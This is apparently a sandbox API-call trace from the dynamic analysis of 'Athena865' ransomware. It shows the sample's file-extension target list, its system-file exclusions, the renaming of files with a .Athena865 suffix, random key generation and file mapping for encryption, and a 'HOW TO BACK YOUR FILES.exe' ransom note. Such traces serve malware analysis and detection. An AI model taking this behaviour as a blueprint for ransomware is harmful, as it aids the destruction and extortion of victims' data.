lpString2="dsk") returned 1 [0053.174] lstrlenW (lpString="dsn") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1 [0053.174] lstrlenW (lpString="dtsx") returned 4 [0053.175] lstrcmpiW (lpString1="h-ms", lpString2="dtsx") returned 1 [0053.175] lstrlenW (lpString="dxl") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1 [0053.175] lstrlenW (lpString="eco") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1 [0053.175] lstrlenW (lpString="ecx") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1 [0053.175] lstrlenW (lpString="edb") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1 [0053.175] lstrlenW (lpString="epim") returned 4 [0053.175] lstrcmpiW (lpString1="h-ms", lpString2="epim") returned 1 [0053.175] lstrlenW (lpString="fcd") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1 [0053.175] lstrlenW (lpString="fdb") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1 [0053.175] lstrlenW (lpString="fic") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1 [0053.175] lstrlenW (lpString="flexolibrary") returned 12 [0053.175] lstrcmpiW (lpString1="re.search-ms", lpString2="flexolibrary") returned 1 [0053.175] lstrlenW (lpString="fm5") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1 [0053.175] lstrlenW (lpString="fmp") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1 [0053.175] lstrlenW (lpString="fmp12") returned 5 [0053.175] lstrcmpiW (lpString1="ch-ms", lpString2="fmp12") returned -1 [0053.175] lstrlenW (lpString="fmpsl") returned 5 [0053.175] lstrcmpiW (lpString1="ch-ms", lpString2="fmpsl") returned -1 [0053.175] lstrlenW (lpString="fol") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1 [0053.175] lstrlenW (lpString="fp3") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1 [0053.175] lstrlenW (lpString="fp4") returned 3 [0053.175] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1 [0053.175] lstrlenW (lpString="fp5") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1 [0053.176] lstrlenW (lpString="fp7") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1 [0053.176] lstrlenW (lpString="fpt") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1 [0053.176] lstrlenW (lpString="frm") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1 [0053.176] lstrlenW (lpString="gdb") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0053.176] lstrlenW (lpString="gdb") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0053.176] lstrlenW (lpString="grdb") returned 4 [0053.176] lstrcmpiW (lpString1="h-ms", lpString2="grdb") returned 1 [0053.176] lstrlenW (lpString="gwi") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1 [0053.176] lstrlenW (lpString="hdb") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1 [0053.176] lstrlenW (lpString="his") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1 [0053.176] lstrlenW (lpString="ib") returned 2 [0053.176] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1 [0053.176] lstrlenW (lpString="idb") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1 [0053.176] lstrlenW (lpString="ihx") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1 [0053.176] lstrlenW (lpString="itdb") returned 4 [0053.176] lstrcmpiW (lpString1="h-ms", lpString2="itdb") returned -1 [0053.176] lstrlenW (lpString="itw") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1 [0053.176] lstrlenW (lpString="jet") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1 [0053.176] lstrlenW (lpString="jtx") returned 3 [0053.176] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1 [0053.176] lstrlenW (lpString="kdb") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1 [0053.177] lstrlenW (lpString="kexi") returned 4 [0053.177] lstrcmpiW (lpString1="h-ms", lpString2="kexi") returned -1 [0053.177] lstrlenW (lpString="kexic") returned 5 [0053.177] lstrcmpiW (lpString1="ch-ms", lpString2="kexic") returned -1 [0053.177] lstrlenW (lpString="kexis") returned 5 [0053.177] lstrcmpiW (lpString1="ch-ms", lpString2="kexis") returned -1 [0053.177] lstrlenW (lpString="lgc") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1 [0053.177] lstrlenW (lpString="lwx") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1 [0053.177] lstrlenW (lpString="maf") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1 [0053.177] lstrlenW (lpString="maq") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1 [0053.177] lstrlenW (lpString="mar") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1 [0053.177] lstrlenW (lpString="marshal") returned 7 [0053.177] lstrcmpiW (lpString1="arch-ms", lpString2="marshal") returned -1 [0053.177] lstrlenW (lpString="mas") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1 [0053.177] lstrlenW (lpString="mav") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1 [0053.177] lstrlenW (lpString="maw") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1 [0053.177] lstrlenW (lpString="mdbhtml") returned 7 [0053.177] lstrcmpiW (lpString1="arch-ms", lpString2="mdbhtml") returned -1 [0053.177] lstrlenW (lpString="mdn") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1 [0053.177] lstrlenW (lpString="mdt") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1 [0053.177] lstrlenW (lpString="mfd") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1 [0053.177] lstrlenW (lpString="mpd") returned 3 [0053.177] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1 [0053.177] lstrlenW (lpString="mrg") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1 [0053.178] lstrlenW (lpString="mud") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1 [0053.178] lstrlenW (lpString="mwb") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1 [0053.178] lstrlenW (lpString="myd") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1 [0053.178] lstrlenW (lpString="ndf") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1 [0053.178] lstrlenW (lpString="nnt") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1 [0053.178] lstrlenW (lpString="nrmlib") returned 6 [0053.178] lstrcmpiW (lpString1="rch-ms", lpString2="nrmlib") returned 1 [0053.178] lstrlenW (lpString="ns2") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1 [0053.178] lstrlenW (lpString="ns3") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1 [0053.178] lstrlenW (lpString="ns4") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1 [0053.178] lstrlenW (lpString="nsf") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1 [0053.178] lstrlenW (lpString="nv") returned 2 [0053.178] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1 [0053.178] lstrlenW (lpString="nv2") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1 [0053.178] lstrlenW (lpString="nwdb") returned 4 [0053.178] lstrcmpiW (lpString1="h-ms", lpString2="nwdb") returned -1 [0053.178] lstrlenW (lpString="nyf") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1 [0053.178] lstrlenW (lpString="odb") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0053.178] lstrlenW (lpString="odb") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0053.178] lstrlenW (lpString="oqy") returned 3 [0053.178] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1 [0053.178] lstrlenW (lpString="ora") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1 [0053.179] lstrlenW (lpString="orx") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1 [0053.179] lstrlenW (lpString="owc") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1 [0053.179] lstrlenW (lpString="p96") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1 [0053.179] lstrlenW (lpString="p97") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1 [0053.179] lstrlenW (lpString="pan") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1 [0053.179] lstrlenW (lpString="pdb") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1 [0053.179] lstrlenW (lpString="pdm") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1 [0053.179] lstrlenW (lpString="pnz") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1 [0053.179] lstrlenW (lpString="qry") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1 [0053.179] lstrlenW (lpString="qvd") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1 [0053.179] lstrlenW (lpString="rbf") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1 [0053.179] lstrlenW (lpString="rctd") returned 4 [0053.179] lstrcmpiW (lpString1="h-ms", lpString2="rctd") returned -1 [0053.179] lstrlenW (lpString="rod") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1 [0053.179] lstrlenW (lpString="rodx") returned 4 [0053.179] lstrcmpiW (lpString1="h-ms", lpString2="rodx") returned -1 [0053.179] lstrlenW (lpString="rpd") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1 [0053.179] lstrlenW (lpString="rsd") returned 3 [0053.179] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1 [0053.179] lstrlenW (lpString="sas7bdat") returned 8 [0053.179] lstrcmpiW (lpString1="earch-ms", lpString2="sas7bdat") returned -1 [0053.180] lstrlenW (lpString="sbf") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1 [0053.180] lstrlenW (lpString="scx") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1 [0053.180] lstrlenW (lpString="sdb") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1 [0053.180] lstrlenW (lpString="sdc") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1 [0053.180] lstrlenW (lpString="sdf") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1 [0053.180] lstrlenW (lpString="sis") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1 [0053.180] lstrlenW (lpString="spq") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1 [0053.180] lstrlenW (lpString="te") returned 2 [0053.180] lstrcmpiW (lpString1="ms", lpString2="te") returned -1 [0053.180] lstrlenW (lpString="teacher") returned 7 [0053.180] lstrcmpiW (lpString1="arch-ms", lpString2="teacher") returned -1 [0053.180] lstrlenW (lpString="tmd") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1 [0053.180] lstrlenW (lpString="tps") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1 [0053.180] lstrlenW (lpString="trc") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0053.180] lstrlenW (lpString="trc") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0053.180] lstrlenW (lpString="trm") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1 [0053.180] lstrlenW (lpString="udb") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1 [0053.180] lstrlenW (lpString="udl") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1 [0053.180] lstrlenW (lpString="usr") returned 3 [0053.180] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1 [0053.180] lstrlenW (lpString="v12") returned 3 [0053.181] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1 [0053.181] lstrlenW (lpString="vis") returned 3 [0053.181] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1 [0053.181] lstrlenW (lpString="vpd") returned 3 [0053.181] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1 [0053.181] lstrlenW (lpString="vvv") returned 3 [0053.181] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1 [0053.181] lstrlenW (lpString="wdb") returned 3 [0053.181] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1 [0053.181] lstrlenW (lpString="wmdb") returned 4 [0053.181] lstrcmpiW (lpString1="h-ms", lpString2="wmdb") returned -1 [0053.181] lstrlenW (lpString="wrk") returned 3 [0053.181] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1 [0053.181] lstrlenW (lpString="xdb") returned 3 [0053.181] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1 [0053.181] lstrlenW (lpString="xld") returned 3 [0053.181] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1 [0053.181] lstrlenW (lpString="xmlff") returned 5 [0053.181] lstrcmpiW (lpString1="ch-ms", lpString2="xmlff") returned -1 [0053.181] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.Athena865") returned 86 [0053.181] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms.athena865"), dwFlags=0x1) returned 1 [0053.182] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.182] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=248) returned 1 [0053.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.182] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.183] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.183] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.183] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x154 [0053.187] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000 [0053.187] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.188] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.188] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0053.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.189] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.189] CloseHandle (hObject=0x154) returned 1 [0053.189] CloseHandle (hObject=0x17c) returned 1 [0053.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcef6180, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.189] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.189] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".") returned 1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="..") returned 1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="windows") returned -1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="bootmgr") returned 1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="temp") returned -1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="pagefile.sys") returned -1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="boot") returned 1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ids.txt") returned 1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ntuser.dat") returned -1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="perflogs") returned -1 [0053.189] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="MSBuild") returned -1 [0053.189] lstrlenW (lpString="Indexed Locations.search-ms") returned 27 [0053.190] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Indexed Locations.search-ms" | out: lpString1="Indexed Locations.search-ms") returned="Indexed Locations.search-ms" [0053.190] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x22) returned 1 [0053.190] lstrlenW (lpString="Indexed Locations.search-ms") returned 27 [0053.190] lstrlenW (lpString="Athena865") returned 9 [0053.190] lstrcmpiW (lpString1="search-ms", lpString2="Athena865") returned 1 [0053.190] lstrlenW (lpString=".dll") returned 4 [0053.190] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".dll") returned 1 [0053.190] lstrlenW (lpString=".lnk") returned 4 [0053.190] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".lnk") returned 1 [0053.190] lstrlenW (lpString=".ini") returned 4 [0053.190] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".ini") returned 1 [0053.190] lstrlenW (lpString=".sys") returned 4 [0053.190] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".sys") returned 1 [0053.190] lstrlenW (lpString="Indexed Locations.search-ms") returned 27 [0053.190] lstrlenW (lpString="bak") returned 3 [0053.190] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0053.190] lstrlenW (lpString="ba_") returned 3 [0053.190] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0053.190] lstrlenW (lpString="dbb") returned 3 [0053.190] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0053.190] lstrlenW (lpString="vmdk") returned 4 [0053.190] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1 [0053.190] lstrlenW (lpString="rar") returned 3 [0053.190] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0053.190] lstrlenW (lpString="zip") returned 3 [0053.190] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0053.190] lstrlenW (lpString="tgz") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0053.191] lstrlenW (lpString="vbox") returned 4 [0053.191] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1 [0053.191] lstrlenW (lpString="vdi") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0053.191] lstrlenW (lpString="vhd") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0053.191] lstrlenW (lpString="vhdx") returned 4 [0053.191] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1 [0053.191] lstrlenW (lpString="avhd") returned 4 [0053.191] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1 [0053.191] lstrlenW (lpString="db") returned 2 [0053.191] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0053.191] lstrlenW (lpString="db2") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0053.191] lstrlenW (lpString="db3") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0053.191] lstrlenW (lpString="dbf") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0053.191] lstrlenW (lpString="mdf") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0053.191] lstrlenW (lpString="mdb") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0053.191] lstrlenW (lpString="sql") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0053.191] lstrlenW (lpString="sqlite") returned 6 [0053.191] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1 [0053.191] lstrlenW (lpString="sqlite3") returned 7 [0053.191] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1 [0053.191] lstrlenW (lpString="sqlitedb") returned 8 [0053.191] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1 [0053.191] lstrlenW (lpString="xml") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0053.191] lstrlenW (lpString="$er") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0053.191] lstrlenW (lpString="4dd") returned 3 [0053.191] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0053.192] lstrlenW (lpString="4dl") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0053.192] lstrlenW (lpString="^^^") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0053.192] lstrlenW (lpString="abs") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0053.192] lstrlenW (lpString="abx") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0053.192] lstrlenW (lpString="accdb") returned 5 [0053.192] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1 [0053.192] lstrlenW (lpString="accdc") returned 5 [0053.192] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1 [0053.192] lstrlenW (lpString="accde") returned 5 [0053.192] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1 [0053.192] lstrlenW (lpString="accdr") returned 5 [0053.192] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1 [0053.192] lstrlenW (lpString="accdt") returned 5 [0053.192] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1 [0053.192] lstrlenW (lpString="accdw") returned 5 [0053.192] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1 [0053.192] lstrlenW (lpString="accft") returned 5 [0053.192] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1 [0053.192] lstrlenW (lpString="adb") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0053.192] lstrlenW (lpString="adb") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0053.192] lstrlenW (lpString="ade") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0053.192] lstrlenW (lpString="adf") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0053.192] lstrlenW (lpString="adn") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0053.192] lstrlenW (lpString="adp") returned 3 [0053.192] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0053.193] lstrlenW (lpString="alf") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0053.193] lstrlenW (lpString="ask") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0053.193] lstrlenW (lpString="btr") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0053.193] lstrlenW (lpString="cat") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0053.193] lstrlenW (lpString="cdb") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0053.193] lstrlenW (lpString="ckp") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0053.193] lstrlenW (lpString="cma") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0053.193] lstrlenW (lpString="cpd") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0053.193] lstrlenW (lpString="dacpac") returned 6 